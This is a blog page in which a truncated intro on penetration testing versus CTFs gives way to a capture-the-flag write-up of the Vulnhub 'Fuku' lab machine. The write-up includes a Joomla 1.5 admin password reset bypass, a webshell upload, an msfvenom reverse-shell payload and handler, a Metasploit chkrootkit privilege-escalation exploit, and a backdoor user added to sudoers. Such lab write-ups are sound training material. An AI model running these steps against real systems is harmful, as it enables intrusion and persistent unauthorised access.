A Dive into the Nuances of Penetration Testing vs Capture the Flag Challenges

Introduction Embarking on a journey into the dynamic world of cybersecurity, at some point, you'll inevitably encounter the terms of Penetration Testing and Capture the Flag (CTF) challenges. This post aims to unravel the intricate differences between these two domains, shedding light on the nuances and hopefully making things just a bit clearer and more distinctive. Let's jump into it. Understanding the Objectives At its core, penetration testing is a meticulous and systematic endeavor to uncover and exploit vulnerabilities within a targeted system, network or application. Unlike the clandestine nature of real-world attackers, penetration testers operate with explicit consent, allowing for a comprehensive evaluation of an organization's security posture. The overarching goal is to emulate genuine threats, providing valuable insights into potential weaknesses and areas for improvement. The main and final goal is to provide the client with value, by identifying, exploiting

BNE0x02 - Fuku Writeup

Since we got his last vm, bull is taunting hacker's about the security features he has implemented in hes latest one, FUKU.

Let's see what we can do against this one. First things first, nmap the machine for any entry points.

root@kalivm:~/ctfs/fuku# nmap -A -T4 -sV -v -p- 192.168.56.5
Starting Nmap 7.12 ( https://nmap.org ) at 2016-05-12 16:05 EEST
NSE: Loaded 138 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:05
Completed NSE at 16:05, 0.00s elapsed
Initiating NSE at 16:05
Completed NSE at 16:05, 0.00s elapsed
Initiating ARP Ping Scan at 16:05
Scanning 192.168.56.5 [1 port]
Completed ARP Ping Scan at 16:05, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:05
Completed Parallel DNS resolution of 1 host. at 16:05, 0.02s elapsed
Initiating SYN Stealth Scan at 16:05
Scanning 192.168.56.5 [65535 ports]
Discovered open port 3389/tcp on 192.168.56.5
Discovered open port 199/tcp on 192.168.56.5
Discovered open port 8080/tcp on 192.168.56.5
Discovered open port 5900/tcp on 192.168.56.5
Discovered open port 3306/tcp on 192.168.56.5
Discovered open port 995/tcp on 192.168.56.5
Discovered open port 256/tcp on 192.168.56.5
Discovered open port 445/tcp on 192.168.56.5
Discovered open port 139/tcp on 192.168.56.5
Discovered open port 1723/tcp on 192.168.56.5
Discovered open port 143/tcp on 192.168.56.5
Discovered open port 23/tcp on 192.168.56.5
Discovered open port 554/tcp on 192.168.56.5
Discovered open port 993/tcp on 192.168.56.5
Discovered open port 443/tcp on 192.168.56.5
Discovered open port 53/tcp on 192.168.56.5
Discovered open port 1720/tcp on 192.168.56.5
Discovered open port 80/tcp on 192.168.56.5
Discovered open port 110/tcp on 192.168.56.5
Discovered open port 1025/tcp on 192.168.56.5
Discovered open port 135/tcp on 192.168.56.5
Discovered open port 111/tcp on 192.168.56.5
Discovered open port 21/tcp on 192.168.56.5
Discovered open port 8888/tcp on 192.168.56.5
Discovered open port 587/tcp on 192.168.56.5
Discovered open port 25/tcp on 192.168.56.5
Discovered open port 22/tcp on 192.168.56.5

Ok, so all ports appear to be open. This clearly is supposed to hide the real services so let's see what all this ports have in common. With netcat, I see what's the response on a few of them.

root@kalivm:~/ctfs/fuku# nc -nvv 192.168.56.5 80
(UNKNOWN) [192.168.56.5] 80 (http) open
HTTP/1.0 200 OK
Server: Apache/2.4.0 (Ubuntu)

<html>
<body>
FUKU!</body>
</html> sent 0, rcvd 87
root@kalivm:~/ctfs/fuku# nc -nvv 192.168.56.5 22
(UNKNOWN) [192.168.56.5] 22 (ssh) open
SSH-2.0-OpenSSH_6.7p1 Ubuntu-5ubuntu1
^C sent 0, rcvd 39
root@kalivm:~/ctfs/fuku# nc -nvv 192.168.56.5 23
(UNKNOWN) [192.168.56.5] 23 (telnet) open
HTTP/1.0 200 OK
Server: Apache/2.4.7 (Ubuntu)

<html>
<body>
FUKU!</body>
</html> sent 0, rcvd 87
root@kalivm:~/ctfs/fuku# nc -nvv 192.168.56.5 445
(UNKNOWN) [192.168.56.5] 445 (microsoft-ds) open
HTTP/1.0 200 OK
Server: Apache/2.4.0 (Ubuntu)

<html>
<body>
FUKU!</body>
</html> sent 0, rcvd 87
root@kalivm:~/ctfs/fuku# nc -nvv 192.168.56.5 2
(UNKNOWN) [192.168.56.5] 2 (?) open
HTTP/1.0 200 OK
Server: Apache/2.4.6 (Ubuntu)

<html>
<body>
FUKU!</body>
</html> sent 0, rcvd 87

So the random known ports I tried, all give me the same response, except port 22. Unfortunately there isn't much we can do about port 22. In this case so we are going to have to find another port that does not give off the same response.

To do that I wrote the following python script that connects to every port, checks if the reply matches a string that should be included only in fake replies, and does that 1 port per second, prints some output every 10 ports and writes the trully open ports in a textfile. Also, as I noticed after some trial and error with the script, the machine keeps changing IPs especially when there are many questions going on it in a small period of time (< 1s) so that's why the delay of 1 second was added to the script.

The final form of the script is this:

import socket
import time

def scanport(x):
        s = socket.socket()
        host = "192.168.56.5"
        port = x
        fakeresponse = "FUKU!</body>"
        s.connect((host,port))
        data =  s.recv(1024).decode("utf-8")
        s.close()
        if fakeresponse in data:
                pass
        else:
                with open('scanresult.txt', 'a') as file:
                        file.write(str(port))
                        file.write("\n")

def printstatus(y):
        portnumber=y
        remains = portnumber%10
        if remains == 0:
                print "%d ports examined" % portnumber

for i in range(12120,65536):
        scanport(i)
        printstatus(i)
        time.sleep(1)

The output looks like this

root@kalivm:~/ctfs/fuku# python scanner.py
10 ports examined
20 ports examined
30 ports examined
40 ports examined
50 ports examined
60 ports examined
70 ports examined
80 ports examined

And after having finished, in "scanresult.txt" we should have the open ports that have been identified not to contain the fake response string.

root@kalivm:~/ctfs/fuku# cat scanresult.txt 
22
13370

So, it worked, and has identified port 13370 as open too apart from the obvious port 22.
Let's see what's on port 13370

root@kalivm:~/ctfs/fuku# nmap -A -T4 -sV -p13370 -v 192.168.56.5

Starting Nmap 7.12 ( https://nmap.org ) at 2016-05-12 16:58 EEST
NSE: Loaded 138 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Initiating ARP Ping Scan at 16:58
Scanning 192.168.56.5 [1 port]
Completed ARP Ping Scan at 16:58, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:58
Completed Parallel DNS resolution of 1 host. at 16:58, 0.03s elapsed
Initiating SYN Stealth Scan at 16:58
Scanning 192.168.56.5 [1 port]
Discovered open port 13370/tcp on 192.168.56.5
Completed SYN Stealth Scan at 16:58, 0.03s elapsed (1 total ports)
Initiating Service scan at 16:58
Scanning 1 service on 192.168.56.5
Completed Service scan at 16:58, 14.58s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 192.168.56.5
Retrying OS detection (try #2) against 192.168.56.5
NSE: Script scanning 192.168.56.5.
Initiating NSE at 16:58
Completed NSE at 16:58, 2.60s elapsed
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Nmap scan report for 192.168.56.5
Host is up (0.00061s latency).
PORT      STATE SERVICE VERSION
13370/tcp open  http    Apache httpd 2.4.10 ((Ubuntu))
|_http-generator: Joomla! 1.5 - Open Source Content Management
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 15 disallowed entries 
| /administrator/ /cache/ /components/ /flag.txt 
| /images/ /includes/ /installation/ /language/ /libraries/ 
|_/media/ /modules/ /plugins/ /templates/ /tmp/ /xmlrpc/
|_http-server-header: Apache/2.4.10 (Ubuntu)
|_http-title: Welcome to the Frontpage
MAC Address: 08:00:27:94:D7:D1 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.4 (97%), Linux 3.2 - 3.16 (94%), Android 4.0 (93%), Linux 3.10 - 4.1 (93%), Android 4.1.1 (93%), Android 4.2.2 (Linux 3.4) (93%), Android 5.1 (92%), Linux 2.6.32 (92%), Linux 2.6.32 - 3.10 (92%), Linux 2.6.22 (92%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.045 days (since Thu May 12 15:54:30 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.61 ms 192.168.56.5

NSE: Script Post-scanning.
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Initiating NSE at 16:58
Completed NSE at 16:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.39 seconds
           Raw packets sent: 46 (3.628KB) | Rcvd: 30 (2.612KB)

Looks like a Joomla 1.5 website. Let's take a look through the browser.


Indeed it is. A japanese site with a video and the message

"Fuku you filthy hackers!! I'm gonna Rick Roll you and fuku up. No way are you getting root this time!"

At this point I take some time to appreciate the music. Also, since the IP of the machine keeps changing I have an entry of fuku in my /etc/hosts and change the ip accordingly by having a netdiscover running in the background all the time.

As I said earlier, it's a joomla site, so let's see what joomscan has to say about it. Are there any vulnerabilities?

root@kalivm:~/ctfs/fuku# joomscan -u http://fuku:13370

 ..|''||   '|| '||'  '|'     |      .|'''.|  '||''|.  
.|'    ||   '|. '|.  .'     |||     ||..  '   ||   || 
||      ||   ||  ||  |     |  ||     ''|||.   ||...|' 
'|.     ||    ||| |||     .''''|.  .     '||  ||      
 ''|...|'      |   |     .|.  .||. |'....|'  .||.     
    
 
=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.4  
(c) Aung Khant, aungkhant]at[yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
Update by: Web-Center, http://web-center.si (2011)
=================================================================
.
.
.
OUTPUT OMITTED
.
.
.
# 15
Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability 
Versions Affected: 1.5.5 <= 
Check: /components/com_user/controller.php
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,  line 23.
Exploit: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm  2. Write into field "token" char ' and Click OK.  3. Write new password for admin  4. Go to url : target.com/administrator/  5. Login admin with new password 
Vulnerable? Yes
.
.
.
OUTPUT OMITTED
.
.
.
There are 20 vulnerable points in 34 found entries!

~[*] Time Taken: 39 sec

As stated, there are 34 possible entries for 20 of which our target is vulnerable. However all that output was too much, that's why I only left in the one that looked most interesting and the others were omitted. According to joomscan there is a remote admin password change vulnerability so we should be able to login as the admin of the site pretty easily and do whatever we want with it.

First we navigate to http://fuku/index.php?option=com_user&view=reset&layout=confirm
Then we input the character ' in the field named token and hit OK


As stated earlier the site is in japanese so it might be a bit difficult to read through those messages. However we were looking for a button and there is only one in this case so...

And after that japanese ok button is hit we get to change his password!


So per the exploits instructions, we now only have to navigate to /administrator/ and login as admin with our newly set password.


Aaand we in. In a japanese adminsitrative panel that is. I have to do something about the language since I have no idea where everything is in this mess. So I look online for a guide to change the language settins in a joomla 1.5 website. Thankfully, I find this youtube video demonstrating the procedure and I'm sitting here counting buttons to reach the one she is clicking in the video. The procedure is as follows

First, you click the icon with the flags


Then, you need to select the language from the list, click the circled star on the right end of the page and then click on the link that is circled on the right, select the language again, and hit the star once more. That is because we are setting the default language to english both for the front end and the backend.


Now we get to mess around with the joomla installation. Let's get a webshell and upload it. In order to do so, since the default uploader is bugged (old joomla new versions of browser etc etc), I download another filemanager. It's name is NinjaXplorer.

We download the .zip file, go to "Extensions / Install" and upload the package file and it gets installed.

Now, under "Components" we can see our newly installed plugin. First, let's pay a visit to the Media Manager from the main control panel, to see the default upload directory.


As we can see, the default directory for uploads is /images. We navigate there with NinjaXplorer and have our shell ready with no extension since if the extension is .php it won't be uploaded. Then, We upload the shell file, find it with NinjaXplorer and rename it to shell.php.


Now it's only a matter of navigating to http://whateverip:13307/images/ashell.php. Indeed the shell works, and we get a flag in /var/www/html.


/var/www/html/>cat flag.txt
Did you find this flag by guessing? Or possibly by looking in the robots.txt file?
Maybe you found it after getting a shell, by using a command like "find / -name flag.txt" ?
Random keyboard smash: J7&fVbh2kTy[JgS"98$vF4#;>mGcT

At this point we get the password for the MySQL database from joomla's configuration file, the users etc etc and the enumeration stops when I come accross something very interesting in the process table.


So, a vulnerable version of chkrootkit is being used and run periodically.

First we create a payload with msfvenom.

root@kalivm:~/ctfs/fuku# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.4 LPORT=443 -f elf > venom
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 71 bytes

Then we upload that through NinjaExplorer in images/


Then, we start the handler on our end through metasploit

msf > use exploit/multi/handler
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set LHOST 192.168.56.4
LHOST => 192.168.56.4
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.56.4:443 
[*] Starting the payload handler...

And we chmod the venom and run it on the remote end.


So now we get a shell. Let's background it and go on with the local exploitation.

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/unix/local/chkrootkit 
msf exploit(chkrootkit) > set SESSION 1
SESSION => 1
msf exploit(chkrootkit) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(chkrootkit) > set LHOST 192.168.56.4
LHOST => 192.168.56.4
msf exploit(chkrootkit) > set LPORT 4141
LPORT => 4141
msf exploit(chkrootkit) > exploit
[*] Exploit completed, but no session was created.

[*] Started reverse TCP double handler on 192.168.56.4:4141 
[!] Rooting depends on the crontab (this could take a while)
msf exploit(chkrootkit) > [*] Payload written to /tmp/update
[*] Waiting for chkrootkit to run via cron...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo etxm5aLDljurR0MH;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "etxm5aLDljurR0MH\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.56.4:4141 -> 192.168.56.173:48411) at 2016-05-12 20:08:58 +0300
[+] Deleted /tmp/update

msf exploit(chkrootkit) > sessions -l

Active sessions
===============

  Id  Type                   Information                                                Connection
  --  ----                   -----------                                                ----------
  1   meterpreter x86/linux  uid=33, gid=33, euid=33, egid=33, suid=33, sgid=33 @ Fuku  192.168.56.4:443 -> 192.168.56.173:51432 (192.168.56.173)
  2   shell unix                                                                        192.168.56.4:4141 -> 192.168.56.173:48411 (192.168.56.173)

So we got our root session and we are ready to mess around with this machine, but first I'll create my own user and add myself in sudoers. That way we won't be bothered if the ip changes again since we'll have a valid ssh account.

msf exploit(chkrootkit) > sessions -i 2
[*] Starting interaction with 2...

1442088225
cLKCTODYiCcQHEpsovhoPDUtqTUlqGIh
true
GjgwTZwrTAbrfUewsZIPpZbwpDbEbnSe
TGoXqpYoHsbFtFscqnkekyWvGSXENNEz
pwEbuyowxkabkVACexMjTQcpDQyVjsth

useradd gknsb
passwd gknsb
Enter new UNIX password: r00ted
Retype new UNIX password: r00ted
passwd: password updated successfully
echo "gknsb   ALL=(ALL:ALL) ALL" >> /etc/sudoers

Finally, I connect over SSH and grab the flag.

root@kalivm:~/ctfs/fuku# ssh gknsb@fuku
gknsb@fuku's password: 
Welcome to Ubuntu 15.04 (haha! FUKU! Only root can run that command. haha! FUKU! Only root can run that command. haha! FUKU! Only root can run that command.)

 * Documentation:  https://help.ubuntu.com/

Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife

New release '15.10' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri May 13 03:38:56 2016 from 192.168.56.4
gknsb@Fuku:~$ sudo su -
[sudo] password for gknsb: 
root@Fuku:~# cat flag.txt
Yep, this is a flag. It's worth over 9000 Internet points!
Random keyboard smash: lkhI6u%RdFEtDjJKIuuiI7i&*iuGf)8$d4gfh%4

So that's the end of it. A really interesting vm and as its descriptions states, it indeed managed to mess with my nerves with all those ip changes. Once again, many thanks to @RobertWinkel for putting together the challenge and to Vulnhub for being the host of such things.

Comments